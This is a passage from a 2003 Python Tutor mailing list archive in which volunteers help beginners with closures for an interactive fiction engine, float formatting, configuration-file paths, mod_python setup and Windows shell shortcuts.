 value and then asking the user the day of the month they were born. After t=
hat, the program could add the day to the month value to make a new value. I=
 could assign a different sign to each range of numbers and if, say, the val=
ue was in the range that 'Pisces' covers, they would be Pisces. Follow me so=
 far?<BR>
<BR>
My next problem is not as complicated as the first one but I don't know what=
 should be made into a function to be called. Should I make the whole month=20=
thing into a function or should I not define any functions? I'm sort of conf=
used. Also, I wanted to know ... will this program probably need to use a li=
st?<BR>
<BR>
pisces(february19-march20)<BR>
aries(march21-april19)<BR>
taurus(april20-may20)<BR>
gemini(may21-june20)<BR>
cancer(june21-july22)<BR>
leo(july23-august22)<BR>
virgo(august23-september22)<BR>
libra(september23-october22)<BR>
scorpio(october23-november22)<BR>
sagiattius(november23-december21)<BR>
capricorn(december22-january19)<BR>
aquarius(january20-february18)<BR>
<BR>
If you understood my explanation clearly, could someone help?<BR>
THANKS<BR>
-Wayne<BR>
</FONT></HTML>
--part1_63.1e28ea4e.2c17c701_boundary--


From dyoo@hkn.eecs.berkeley.edu  Tue Jun 10 21:20:02 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Tue Jun 10 20:20:02 2003
Subject: [Tutor] unsubscribe
In-Reply-To: <3EE65DC9.5070305@netzero.net>
Message-ID: <Pine.LNX.4.44.0306101600430.3383-100000@hkn.eecs.berkeley.edu>


On Tue, 10 Jun 2003, Kirk Bailey wrote:

> I refuse.
>
>
> Stephen Douthit wrote:
> > please unsubscribe me from this mailing


Hi Kirk,


We should probably avoid yanking him around.  There's a high chance of
causing bad feelings or misunderstanding if the person asking the question
doesn't understand the joke or has difficulty detecting written sarcasm.



I've emailed him privately to communicate administrative requests to
'tutor-admin@python.org'.  Next time this happens, if someone on the list
is slightly confused about how to unsubscribe, point them privately to:

    http://mail.python.org/mailman/listinfo/tutor

or to the administrators at the address 'tutor-admin@python.org'.  That
way, we can keep boring administrative stuff out of the main Tutor
discussion.



From dyoo@hkn.eecs.berkeley.edu  Tue Jun 10 21:35:01 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Tue Jun 10 20:35:01 2003
Subject: [Tutor] Function assignment (was: Re: Function type?)
In-Reply-To: <2609.192.207.104.206.1055278632.squirrel@mail.harlekin-maus.com>
Message-ID: <Pine.LNX.4.44.0306101724170.8902-100000@hkn.eecs.berkeley.edu>


> Thanks, everyone! I think callable() is the way to go. Silly me, not
> thinking to look in the built-in functions. I'm working on an
> interactive fiction system, and I'm wondering how to best handle things
> that are either strings or functions. For example, if you have a item
> with a description, you could either have:
>
> >>> pipe = Item('pipe', name='pipe', adj=['green', 'heavy'])
> >>> pipe.desc = "A heavy green pipe."
>
> OR
>
> >>> pipe = Item('pipe', name='pipe', adj=['green', 'heavy'])
> >>> def pipeDesc ():
>         if self.parent == player:
>              return "A green pipe, heavy in your hands."
>         return "A green pipe on the ground."
> >>> pipe.desc = pipeDesc
>
> That way the examine code could look like:
>
> def get(obj):
>     if callable(obj):
>         return obj()
>     return obj



We can probably unify things a little more by making messages themselves
functions, like this:

###
>>> def makeMsg(m):
...     def f():
...         return m
...     return f
...
>>> m1, m2 = makeMsg("hello"), makeMsg("testing!")
>>> m1
<function f at 0x8159384>
>>> m2
<function f at 0x815a2a4>
>>> m1()
'hello'
>>> m2()
'testing!'
###


The advantage of this is that we can rewrite the pipeDesc() function like
this:


###
    def pipeDesc(self):
        if self.parent == player:
            return makeMsg("A green pipe, heavy in your hands.")
        return makeMsg("A green pipe on the ground.")
###



and the get() function can them assume that all objects are callable:

###
def get(obj):
    return obj()
###

... which is sorta useless, but then, I'm trying to maintain the API.
*grin*





> Which leads me to another question: Is it possible to define a function
> immediately as a variable? Something like:
>
> >>> pipe = Item('pipe', name='pipe', adj=['green', 'heavy'])
> >>> def pipe.desc ():
>         if self.parent == player:
>             ....
> OR
>
> >>> pipe.desc = def ():
>         if self.parent == player:
>             ....
>
> Or is there a cleaner way to do this that I'm not aware of?


Yes, very possible.  The makeMsg() function above is an example of a
function that itself generates function objects.  You might be able to
employ the same function-constructing technique when attaching new
description functions to your objects.  So something like:

    pipe.desc = makeDescriptionMethod(...)

should work; makeDescriptionMethod will look very similar to makeMsg(),
except that it'll need to take in 'self', since it's a method.



Your project sounds extraordinarily dynamic!  *grin* Please show us more
of it when you have the chance; it looks like a lot of fun.


Good luck!



From dyoo@hkn.eecs.berkeley.edu  Tue Jun 10 21:43:04 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Tue Jun 10 20:43:04 2003
Subject: [Tutor] Function assignment (was: Re: Function type?)
In-Reply-To: <Pine.LNX.4.44.0306101724170.8902-100000@hkn.eecs.berkeley.edu>
Message-ID: <Pine.LNX.4.44.0306101735450.8902-100000@hkn.eecs.berkeley.edu>


> We can probably unify things a little more by making messages themselves
> functions, like this:
>
> ###
> >>> def makeMsg(m):
> ...     def f():
> ...         return m
> ...     return f
> ...
> >>> m1, m2 = makeMsg("hello"), makeMsg("testing!")
> >>> m1
> <function f at 0x8159384>
> >>> m2
> <function f at 0x815a2a4>
> >>> m1()
> 'hello'
> >>> m2()
> 'testing!'
> ###


> Yes, very possible.  The makeMsg() function above is an example of a
> function that itself generates function objects.  You might be able to
> employ the same function-constructing technique when attaching new
> description functions to your objects.  So something like:
>
>     pipe.desc = makeDescriptionMethod(...)
>
> should work; makeDescriptionMethod will look very similar to makeMsg(),
> except that it'll need to take in 'self', since it's a method.
              ^^^^^


Wow, that was slightly confusing to read.  *grin* Small clarification, by
"it", I don't mean makeDescriptionMethod() itself, but instead, I mean the
function that is being built by makeDescriptionMethod().  That is, instead
of:

###
def makeDescriptionMethod(generic_message, personal_message):
    def f():
    ...
###


we'd probably want to do something like:

###
def makeDescriptionMethod(generic_message, personal_message):
    def f(self):
    ...
###


So that the function that's being called has a way of grasping at the pipe
we pass it.  Once we have something like makeDescriptionMethod(), it
becomes very convenient to add dynamic methods like this:

    gandalf_pipe.desc = makeDescriptionMethod(
                        "A green pipe on the ground",
                        "A green pipe in your hands")


(Hmmm... but why would anyone pass a hot water pipe to someone else?
Wouldn't that hurt?  *grin*)



Talk to you later!



From phthenry@earthlink.net  Wed Jun 11 01:08:02 2003
From: phthenry@earthlink.net (Paul Tremblay)
Date: Wed Jun 11 00:08:02 2003
Subject: [Tutor] where to put configuration files
In-Reply-To: <5.2.1.1.0.20030610104350.01f9a830@www.thinkware.se>
References: <3EE4C938.4020802@ccvcorp.com> <20030606230552.GV1597@localhost.localdomain> <3EE4C938.4020802@ccvcorp.com> <5.2.1.1.0.20030610104350.01f9a830@www.thinkware.se>
Message-ID: <20030611040903.GG21763@localhost.localdomain>

On Tue, Jun 10, 2003 at 11:22:53AM +0200, Magnus Lyckå wrote:
> 
> >>> import os.path
> >>> print os.path.__file__
> G:\Python22\lib\ntpath.pyc
> >>> os.path.split(os.path.__file__)
> ('G:\\Python22\\lib', 'ntpath.pyc')
> >>> os.path.split(os.path.__file__)[0]
> 'G:\\Python22\\lib'
> 
> This would be the directory where the imported file resides.
> 
> >Most
> >applications (at least unix), have a .config file in the home directory.
> >(For example, .vimrc for vim.)
> 
> You get the home directory with
> 
> >>> import ospsth
> >>> print os.path.expanduser("~")
> /home/your_home
> 
> This only works if the environment variable HOME is set.
> 
> It seems that...
> >>> import user
> >>> user.home
> ...works the same way.
> 
> In Windows NT derivates, you can do...
> >>> os.environ['USERPROFILE']
> 'X:\\Documents and Settings\\your_home'
> ...but I'n not sure this is set for DOS derivates such
> as Win 98 or Win Me.
> 
> 

Thanks. So I can test the platform. If it is unix, get the HOME
variable. If the HOME variable does not exist (which it should?), don't
install with an error message. 

If the platform is Windows, panic! 

My post above (which I'll post in just a second) discusses the panic
option.

Paul

-- 

************************
*Paul Tremblay         *
*phthenry@earthlink.net*
************************


From phthenry@earthlink.net  Wed Jun 11 01:13:01 2003
From: phthenry@earthlink.net (Paul Tremblay)
Date: Wed Jun 11 00:13:01 2003
Subject: [Tutor] where to put configuration files
In-Reply-To: <3EE61819.6090106@ccvcorp.com>
References: <20030606230552.GV1597@localhost.localdomain> <3EE4C938.4020802@ccvcorp.com> <20030610032132.GC21763@localhost.localdomain> <200306092117.20343.shalehperry@attbi.com> <20030610064004.GE21763@localhost.localdomain> <3EE61819.6090106@ccvcorp.com>
Message-ID: <20030611041401.GH21763@localhost.localdomain>

On Tue, Jun 10, 2003 at 10:40:41AM -0700, Jeff Shannon wrote:
 
> Paul Tremblay wrote:
> 
> >How can I make a universal rule to parse __file__ in order to get the
> >location of data.txt? The actual data.txt can exist many levels up from
> >the actual module.
> >
> >Or do I actually put the data.txt *in* foo to begin with? But if I do
> >that, wont' the install utility try to see it as a python file?
> > 
> >
> 
> If you're using a module's __file__, then you'd probably want to put 
> that config file directly in the foo directory (or a subdirectory of 
> it), yes.  To be honest, I can't say for sure how that'll affect the 
> installer (I do all my work in-house, mostly directly on a server, so I 
> almost never have a need for distutils...) but I'd be surprised if 
> something couldn't be arranged.  
> 

I think I'm finally seeing what is meant by stick everything in one
directory. 

It simply means put *everything* in one directory, and have the user put
the directory wherever s/he wants.

I actually wrote a script with ten modules like this in perl, so I
should have known exactly what you meant. Yes, it is simple.

However, I was thinking along the lines of having to use disutils. I
assumed that a developer should use setup.py. I assumed it was just
expected, and not using setup.py indicated a hack.

It does seem that a configuration file is a somewhat unresolved issue in
python. So far as I can tell from this thread, there is no bullet-proof
way to make sure a configuration file will always get where it is
supposed to on all platforms.

Paul

-- 

************************
*Paul Tremblay         *
*phthenry@earthlink.net*
************************


From decibelshelp@charter.net  Wed Jun 11 01:15:03 2003
From: decibelshelp@charter.net (Decibels)
Date: Wed Jun 11 00:15:03 2003
Subject: [Tutor] Help on float & round.
Message-ID: <200306102313.53864.decibelshelp@charter.net>

Hello,

        New to the list and having a problem with float & round or my lack of understanding.

Basic: I am getting stock prices, it puts it in a list, then I convert it to strings, floating and integers.
The problem I am having is that it converts the string to a float fine. But rounding it off and saving
it as a variable isn't working like I expected.

Examples:
        
        # Original number before conversion was 70.70 as string.
        # I get the 3rd item of the list called stock. And rightly so it will print like this.
        print "Current Price: %f" % (stock[2])
        ......
results:  Current Price: 70.700000      

What I want is for it to print at 70.70, but not be a string, but a float for
math purposes.
        
I have tried several ways and it won't error, but doesn't do what I want.

Tried:

        cp=stock[2]
        print round(cp,2)
        ......
results:    70.7    

Above is good and works, but: 
        
        cp=stock[2]
        print "Current Price: %f" % round(cp,2)
        .......
results:   Current Price: 70.700000

Same here:

        cp=round(stock[2],2)
        print "Current Price: %f" % (cp)        
        .......
results:   Current Price: 70.700000


I don't have a problem storing the number AS IS in the database, but would like it to work
the way I thought it should.  Maybe the formatting will work better when I pull it from the database
and not from the list. Then again, maybe I am missing something here.

Any help??

Thanks.
Dave



From fredm@smartypantsco.com  Wed Jun 11 01:53:04 2003
From: fredm@smartypantsco.com (Alfred Milgrom)
Date: Wed Jun 11 00:53:04 2003
Subject: [Tutor] Help on float & round.
In-Reply-To: <200306102313.53864.decibelshelp@charter.net>
Message-ID: <5.1.0.14.0.20030611143454.049b1370@192.168.1.1>

At 11:13 PM 10/06/03 -0500, Decibels wrote:
>Hello,
>
>         New to the list and having a problem with float & round or my 
> lack of understanding.
>
>Basic: I am getting stock prices, it puts it in a list, then I convert it 
>to strings, floating and integers.
>The problem I am having is that it converts the string to a float fine. 
>But rounding it off and saving
>it as a variable isn't working like I expected.
>
>Examples:
>
>         # Original number before conversion was 70.70 as string.
>         # I get the 3rd item of the list called stock. And rightly so it 
> will print like this.
>         print "Current Price: %f" % (stock[2])
>         ......
>results:  Current Price: 70.700000
>
>What I want is for it to print at 70.70, but not be a string, but a float for
>math purposes.
><snip>


 From your example, it seems you are doing things correctly but not using 
the full power of %f.

%f will include the variable into the string in floating-point form, but 
you can also specify the total length of the number and the number of 
decimal points. For example "%4.1f" will display up to 4 characters, one of 
which will be after the decimal point.

 >>> stock=['today', 'somestock', 70.7]
 >>> "Current Price: %4.2f" % (stock[2])
'Current Price: 70.70'

If your number has more than 2 digits, the %f formatting will round it out 
correctly (rather than truncate):

 >>> stock=['today', 'somestock', 70.7285]
 >>> "Current Price: %4.2f" % (stock[2])
'Current Price: 70.73'

Hope this helps,
Fred Milgrom




>



From greg@gregmchapman.info  Wed Jun 11 01:55:03 2003
From: greg@gregmchapman.info (Greg Chapman)
Date: Wed Jun 11 00:55:03 2003
Subject: [Tutor] Help on float & round.
In-Reply-To: <200306102313.53864.decibelshelp@charter.net>
Message-ID: <JOENINDGJDPMGHODEHKLKEFNCCAA.greg@gregmchapman.info>

Ahh, someone who didn't suffer through c-style string formatting :)

I can't say that the manual has the clearest explanation
(http://www.python.org/doc/current/lib/typesseq-strings.html#l2h-154)

You don't need to round at all, just modify your print statement:
print "Current Price: %.2f" % (cp)
                       ^^
the .2 specifies the number of digits to be included after the decimal
point, I believe that rounding happens automagically.  Someone correct me if
I'm wrong.

greg





From greg@gregmchapman.info  Wed Jun 11 01:58:02 2003
From: greg@gregmchapman.info (Greg Chapman)
Date: Wed Jun 11 00:58:02 2003
Subject: [Tutor] Help on float & round.
In-Reply-To: <200306102313.53864.decibelshelp@charter.net>
Message-ID: <JOENINDGJDPMGHODEHKLOEFNCCAA.greg@gregmchapman.info>

oops, the print statement should be: 
print "Current Price: %.2f" % (stock[2])

You dont need the temp variable anymore if you're not using round()

greg





From decibelshelp@charter.net  Wed Jun 11 02:24:02 2003
From: decibelshelp@charter.net (Decibels)
Date: Wed Jun 11 01:24:02 2003
Subject: [Tutor] Help on float & round.
Message-ID: <200306110022.52477.decibelshelp@charter.net>

Thanks a lot Greg and Alfred, both worked like a charm. I saw that somewhere,
but must have missed it when doing this. Nothing like learning. 
Thanks again,

Dave 


On Tuesday 10 June 2003 11:54 pm, Greg Chapman wrote:
> oops, the print statement should be:
> print "Current Price: %.2f" % (stock[2])
>
> You dont need the temp variable anymore if you're not using round()
>
> greg
>
>
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor



From tbrauch@mindless.com  Wed Jun 11 02:36:02 2003
From: tbrauch@mindless.com (Timothy M. Brauch)
Date: Wed Jun 11 01:36:02 2003
Subject: [Tutor] mod_python question
Message-ID: <009c01c32fdb$470418e0$6600a8c0@tbrauch>

Okay, I've got mod_python installed and it works, at least for the test
script they give you in the documentation.  Now onto more pressing
questions.  I know this was discussed on 28 April 2003, but I am unclear
about the answer.

How can I run a bunch o' python scripts without typing

<Directory /some/directory/htdocs/test>
  AddHandler python-program .py
  PythonHandler mptest
  PythonDebug On
</Directory>

for each script.  The answer that was given (by one Emil Styrke) was to read
http://www.modpython.org/live/mod_python-2.7.8/doc-html/hand-cgi.html. I
read it.  Again and again.  And I'm still confused.  And, what if I am messy
and want my scripts to be located all over the place and not in one neat
little directory.  Actually, I want people to be able to put a script or two
in /~user directories.

Once we tackle this question, I've got another one about writing code.

 - Tim



From tireseas@onetel.com  Wed Jun 11 03:37:16 2003
From: tireseas@onetel.com (valhalla)
Date: Wed Jun 11 02:37:16 2003
Subject: [Tutor] Re: Maths operations on lists
In-Reply-To: <20030610223901.18432.77748.Mailman@mail.python.org>
References: <20030610223901.18432.77748.Mailman@mail.python.org>
Message-ID: <200306110735.19714.tireseas@onetel.com>

Hello folks
Just wanted to say thanks for the different suggestions on my question ab=
out=20
looping through lists to do maths operations on the contents. There are f=
our=20
suggestions which I'll play with tonight after work and will report back =
on=20
which one felt the best (not which one *is* the best - but which one felt=
 the=20
best in the sense of my level of ability to get my head around the theory=
=20
thereof!!!).
Much obliged. Now can someone tell me why my message body on the digest w=
as=20
broken up with "=3D20" lines??? Is there something I should change in my =
text=20
field of my email?

All the best


=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
||  Reg. Linux User: 313143 ||
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Sign the Petition:
http://www.PetitionOnline.com/endtcpa1/


From alan.gauld@blueyonder.co.uk  Wed Jun 11 03:49:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Wed Jun 11 02:49:01 2003
Subject: [Tutor] Help on float & round.
References: <200306102313.53864.decibelshelp@charter.net>
Message-ID: <011301c32fe5$ae8a47a0$6401a8c0@xp>

> What I want is for it to print at 70.70, but not be a string, but a
float for
> math purposes.

The key here is that you only want to round for printing. So the best
solution is a format string:

print "%5.2f" % stock[2]

will print the number as at least 5 characters, two of which are after
the decimal point.

Thus

7.070006  -> ' 7.07'     # pads to 5 chars, rounding down
1237.89   -> '1237.89'   # prints *at least* 5 chars
12.56921  -> '12.57'     # rounds up

Look at the first page of the Basics section ofmy tutor for more
info on format strings.

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld



From lonetwin@yahoo.com  Wed Jun 11 04:35:02 2003
From: lonetwin@yahoo.com (lonetwin)
Date: Wed Jun 11 03:35:02 2003
Subject: [Tutor] please help- lists
In-Reply-To: <63.1e28ea4e.2c17c701@aol.com>
References: <63.1e28ea4e.2c17c701@aol.com>
Message-ID: <200306111320.56029.lonetwin@yahoo.com>

Hey Wayne
On Wednesday 11 June 2003 05:12 am, GREENDAY31087@aol.com wrote:
> **I've sent this mail before but wasn't able to get online and all my stuff
> was deleted. So here it is again. **
	your can read the replies to your question at the archives here:

	http://aspn.activestate.com/ASPN/Mail/Message/1648555

HTH
Steve

-- 
Never be afraid to tell the world who you are.
                                     - Anonymous


From gp@pooryorick.com  Wed Jun 11 04:42:02 2003
From: gp@pooryorick.com (Poor Yorick)
Date: Wed Jun 11 03:42:02 2003
Subject: [Tutor] The course of M. Gauld +a console problem
References: <NBEHJBEKFMHNFJKOHIOAAEFACJAA.willblake@wanadoo.fr>
Message-ID: <3EE6DD7B.6080306@pooryorick.com>

What I meant was that you do the following steps in Windows:

1.  From Windows Explorer, choose the "Tools" menu
2.  In the "Tools" menu, choose "File Types"
3.  Find the ".py" extension in the list.  Highlight it, and choose 
"Advanced"
4.  Click on the "New" button
5.  in the "Action" field, type "Run and Remain"
6.  in the "Application used to Perform Action" menu type cmd.exe /k 
c:\python22\python.exe "%1" %*

This is how I set it up in Windows 2000.  On other versions of windows 
the steps might be slightly different.

Another thing I like is the "command prompt here" menu item:  Here's the 
registry info:

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\Folder\shell\Command Prompt Here]

[HKEY_CLASSES_ROOT\Folder\shell\Command Prompt Here\command]
@="cmd.exe /k cd \"%1\""



Poor Yorick



Guillaume wrote:

>OK many thanx to you and Lloyd
>but where must I put tose scipts to change 
>my situation and having yours?
>I don't know how using a script under W$ :(
>That's really a pity coz the "Run and remain menu" seems great.
>Thanx :)
>
>>
>Here's how my system is set up:
>
> From windows explorer:
>
>Tools - File Types - .py - Advanced - New
>    Action = 'Run and Remain'
>    Application used to perform action = cmd.exe /k 
>C:\Python22\python.exe "%1" %*
>
>This gives me a menu 'Run and Remain' menu item when I right-click on a 
>.py file.
>
>Poor Yorick
>
>
>




From magnus@thinkware.se  Wed Jun 11 06:41:27 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun 11 05:41:27 2003
Subject: [Tutor] where to put configuration files
In-Reply-To: <20030611040903.GG21763@localhost.localdomain>
References: <5.2.1.1.0.20030610104350.01f9a830@www.thinkware.se>
 <3EE4C938.4020802@ccvcorp.com>
 <20030606230552.GV1597@localhost.localdomain>
 <3EE4C938.4020802@ccvcorp.com>
 <5.2.1.1.0.20030610104350.01f9a830@www.thinkware.se>
Message-ID: <5.2.1.1.0.20030611114034.01f9b938@www.thinkware.se>

At 00:09 2003-06-11 -0400, Paul Tremblay wrote:
>Thanks. So I can test the platform. If it is unix, get the HOME
>variable. If the HOME variable does not exist (which it should?), don't
>install with an error message.
>
>If the platform is Windows, panic!

:)

Another approach is to test for both HOME and USERPROFILE (it can
be argued which you should check for first) and if neither is found,
exit with an error message requesting that either of these (or
possibly just HOME) needs to be set before you run the program.

I don't know how things work on Mac before MacOS X though, if that's
an issue for you...


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From tutor@python.org  Wed Jun 11 10:28:02 2003
From: tutor@python.org (Chimp)
Date: Wed Jun 11 09:28:02 2003
Subject: [Tutor] Binary Tree Printing Woes
In-Reply-To: <001301c32d27$a94dab80$6401a8c0@xp>
References: <20030605201537.GA10180@yahoo.com> <001101c32ba8$16b47090$6401a8c0@xp> <20030606104936.GA2120@yahoo.com> <006a01c32c77$6aa3dcc0$6401a8c0@xp> <20030607115302.GB2777@yahoo.com> <001301c32d27$a94dab80$6401a8c0@xp>
Message-ID: <20030610154923.GA27375@yahoo.com>

* Alan Gauld <alan.gauld@blueyonder.co.uk> [030607 20:04]:
> >>> def f(aSequence):
>       retList = []
>       if len(aSequence) == 0: return []  # terminate condition
>       else:
>         retList.append(aSequence[0])     # first elem processing
>         return retlist + f(aSequence[1:])  # rest of list
> 
> >>> newlist = f([1,2,3,4])
> >>> print newlist
> [1,2,3,4]
> 
> As a clue...
Oh WOW! That's *so* lisp! You just opened a world of new possibilities
for me there - functional programming, here I come. (I checked out the
excellent Xoltar toolkit too, and it rocks!) The list idea is cool,
except for one itty bitty little detail: "in-order" prints work just
fine - it's the "pre" - and "post-order" versions that print None. I'll
try to apply the list concept to them too and see if I can dish up a
sneaky way around it. (Although the question is how long we really feel
like lingering on this obscure little detail, ha ha!)

I'm still hard at work on my little library and I'll of course post it
once it's done. 

Smell ya' later!

-- Chimp
-- 
                            o      _     _         _
------- __o       __o      /\_   _ \\o  (_)\__/o  (_)        -o)
----- _`\<,_    _`\<,_    _>(_) (_)/<_    \_| \   _|/' \/     /\\
---- (_)/ (_)  (_)/ (_)  (_)        (_)   (_)    (_)'  _\o_  _\_v
Don't Drive And Pray - Listen To InfidelGuy.com And Rock Your Mind


From decibelshelp@charter.net  Wed Jun 11 11:35:02 2003
From: decibelshelp@charter.net (Decibels)
Date: Wed Jun 11 10:35:02 2003
Subject: [Tutor] Help on float & round.
Message-ID: <200306110933.39733.decibelshelp@charter.net>

Bookmarked. Thanks.
While on the subject of float and round. I originally tried to make it
save the value as, 'rounded', to save it in a database.
That doesn't seem to work and I don't think there is a way to do so.
For accuracy sake it makes sense, just wondering if there was a way.

Printing format was the most important and that has been solved, thanks.

On Wednesday 11 June 2003 01:50 am, Alan Gauld wrote:
> > What I want is for it to print at 70.70, but not be a string, but a
>
> float for
>
> > math purposes.
>
> The key here is that you only want to round for printing. So the best
> solution is a format string:
>
> print "%5.2f" % stock[2]
>
> will print the number as at least 5 characters, two of which are after
> the decimal point.
>
> Thus
>
> 7.070006  -> ' 7.07'     # pads to 5 chars, rounding down
> 1237.89   -> '1237.89'   # prints *at least* 5 chars
> 12.56921  -> '12.57'     # rounds up
>
> Look at the first page of the Basics section ofmy tutor for more
> info on format strings.
>
> Alan G
> Author of the Learn to Program web tutor
> http://www.freenetpages.co.uk/hp/alan.gauld
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor

-------------------------------------------------------



From lsloan@umich.edu  Wed Jun 11 11:59:02 2003
From: lsloan@umich.edu (Lance E Sloan)
Date: Wed Jun 11 10:59:02 2003
Subject: [Tutor] recommended mail modules?
Message-ID: <1055343499.3ee7438b141d8@carrierpigeon.mail.umich.edu>

Greetings, fellow Pythonati!

I've been given the task of converting a Perl program to Python.  Not to
get into trash-talk, but I can't think of anything more worthwhile.  :)

This Perl program is designed to go through the messages in a mail
folder (UNIX mbox-style), examine headers, and do various things.  It
uses Mail::Folder, Mail::Internet, and some MIME modules.  I'm trying to
figure out which Python modules I should use for this.

I've looked in the Vaults of Parnassus and done Google searches.  I've
found lots of mentinoed of Python mail modules, but no indication as to
which is "best".  Are there any that Guido or the python.org elders
recommend?

I have Python versions 2.1, 2.1.3, and 2.2 available to use.

PS:  Sorry for the small amount of Perl jargon I've introduced into the
list with this message.   :)

-- 
Lance E Sloan
U-M WATS: Web Applications, Technologies, and Solutions
Full-service web and database design, development, and hosting.
http://websvcs.itd.umich.edu/ - "Putting U on the Web"


From zak@harlekin-maus.com  Wed Jun 11 12:34:04 2003
From: zak@harlekin-maus.com (Zak Arntson)
Date: Wed Jun 11 11:34:04 2003
Subject: [Tutor] Function type?
In-Reply-To: <00d601c32fa2$e861b230$6401a8c0@xp>
References: <2189.192.207.104.206.1055270101.squirrel@mail.harlekin-maus.com>
 <00d601c32fa2$e861b230$6401a8c0@xp>
Message-ID: <1376.192.207.104.206.1055345618.squirrel@mail.harlekin-maus.com>

> Zak,
>
>> But what's the shortcut keyword for a function type?
>
> All the types are defined in the types module so do:
>
> import types
> dir(types) to see a list.
>
> One of them is FunctionType...
>
> Alan G.

Thanks. I know about the types module; it's just frustrating to read that
isinstance was provided to replace type(myVar) == type('a') style coding.
So we have str, float, int, etc. keywords. But no func or function
keyword. Oh well, not a big deal.

It's good to know I wasn't missing something obvious!

-- 
Zak Arntson
www.harlekin-maus.com - Games - Lots of 'em




From pythontutor@venix.com  Wed Jun 11 12:37:01 2003
From: pythontutor@venix.com (Lloyd Kvam)
Date: Wed Jun 11 11:37:01 2003
Subject: [Tutor] recommended mail modules?
References: <1055343499.3ee7438b141d8@carrierpigeon.mail.umich.edu>
Message-ID: <3EE74C6B.8040905@venix.com>

email module from python 2.2 is probably your best choice.  Also you might
want to look into bridgekeeper which does perl to python translations.  It
was helpful for me, though I wound up writing a sed script to make additional
changes for my conversions.

Lance E Sloan wrote:
> Greetings, fellow Pythonati!
> 
> I've been given the task of converting a Perl program to Python.  Not to
> get into trash-talk, but I can't think of anything more worthwhile.  :)
> 
> This Perl program is designed to go through the messages in a mail
> folder (UNIX mbox-style), examine headers, and do various things.  It
> uses Mail::Folder, Mail::Internet, and some MIME modules.  I'm trying to
> figure out which Python modules I should use for this.
> 
> I've looked in the Vaults of Parnassus and done Google searches.  I've
> found lots of mentinoed of Python mail modules, but no indication as to
> which is "best".  Are there any that Guido or the python.org elders
> recommend?
> 
> I have Python versions 2.1, 2.1.3, and 2.2 available to use.
> 
> PS:  Sorry for the small amount of Perl jargon I've introduced into the
> list with this message.   :)
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice:	603-443-6155
fax:	801-459-9582



From zak@harlekin-maus.com  Wed Jun 11 13:03:59 2003
From: zak@harlekin-maus.com (Zak Arntson)
Date: Wed Jun 11 12:03:59 2003
Subject: [Tutor] Function assignment (was: Re: Function type?)
In-Reply-To: <Pine.LNX.4.44.0306101724170.8902-100000@hkn.eecs.berkeley.edu>
References: <2609.192.207.104.206.1055278632.squirrel@mail.harlekin-maus.com>
 <Pine.LNX.4.44.0306101724170.8902-100000@hkn.eecs.berkeley.edu>
Message-ID: <1438.192.207.104.206.1055347229.squirrel@mail.harlekin-maus.com>

> Yes, very possible.  The makeMsg() function above is an example of a
> function that itself generates function objects.  You might be able to
> employ the same function-constructing technique when attaching new
> description functions to your objects.

I still run into the problem of defining a function first, then assigning
it to a property/method afterwards. I don't want to force developers to
create a uniquely-named "dummy" function every time.

For example, currently (as far as I know), I have to implement adding a
function like so:

###

# Function Description

pipe = Item('pipe')
def pipe_desc():
    if self.parent = player:
         return "In your hand."
    return "On the floor."
pipe.desc = pipe_desc

# String Description (for comparison)

pipe2 = Item('pipe')
pipe2.desc = "A boring pipe, with no changing description."

###

Which means there's this pipe_desc object floating around, and could
accidentally be overwritten. So I have to force a naming convention, such
as itemname_function. Which would work, but feels kludgy and isn't as
elegant.

I'm jealous of Inform (Graham Nelson's interactive fiction language,
http://www.inform-fiction.org), where you can create multi-line dynamic
functions or strings, without much concern. Though I'm pretty sure a
"blah" string given to a description actually evaluates to a function
equivalent
to
   print "blah^";  ! '^' is a equivalent to Python's '\n'
   rtrue;   ! return true (or false, I can't remember)
Here's the code:

### (Inform, not Python :)

! Function Description

Object pipe
  has   name 'pipe',
        description [;
            if (self in player)
                print_ret "In your hand.";
            else
                print_ret "On the floor.";
        ],
;

! String Description (for comparison)

Object pipe2
  has   name 'pipe',
        description "A boring pipe, with no changing description.",
;
###

> Your project sounds extraordinarily dynamic!  *grin* Please show us more
> of it when you have the chance; it looks like a lot of fun.

I will. I plan on releasing the thing (if it ever gets done) completely
open. I've got the parsing state machine mostly done, it's got something
like 15+ states and parses things out into subjects, verb, direct objects
(and any accompanying prepositions and adjectives), indirect objects
(again, preps and adj's). Pretty neat stuff, and easy with Python.

By the way, I'm naming my module PyFict ... am I stepping on any toes with
that?

> Good luck!

Thanks!

-- 
Zak Arntson
www.harlekin-maus.com - Games - Lots of 'em




From magnus@thinkware.se  Wed Jun 11 13:45:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun 11 12:45:02 2003
Subject: [Tutor] Help on float & round.
In-Reply-To: <200306110933.39733.decibelshelp@charter.net>
Message-ID: <5.2.1.1.0.20030611170832.02004e98@www.thinkware.se>

At 09:33 2003-06-11 -0500, Decibels wrote:
>Bookmarked. Thanks.
>While on the subject of float and round. I originally tried to make it
>save the value as, 'rounded', to save it in a database.
>That doesn't seem to work and I don't think there is a way to do so.
>For accuracy sake it makes sense, just wondering if there was a way.

In Python, any floating point number is stored as a
Double Precision Floating Point. i.e. "double" in the
underlying C language library. Typically 8 bytes.

1.2 won't use more space than 1.21212121212121

What do you mean by database in this case?

SQL databases typically have data types where
you can define how many decimals they should
store. The database adapter will take care of
conversion between Pythons float format and
the format defined for the database.


--
